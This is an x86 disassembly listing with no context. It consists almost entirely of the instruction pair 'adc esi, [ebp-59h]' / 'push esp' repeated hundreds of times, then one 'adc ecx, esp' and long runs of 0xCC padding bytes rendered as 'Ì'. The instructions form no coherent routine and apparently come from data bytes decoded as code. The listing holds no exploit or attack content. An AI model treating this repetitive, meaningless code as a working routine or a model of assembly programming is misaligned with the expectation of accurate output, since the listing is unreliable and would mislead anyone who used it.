adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc ecx, esp
; ---------------------------------------------------------------------------
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
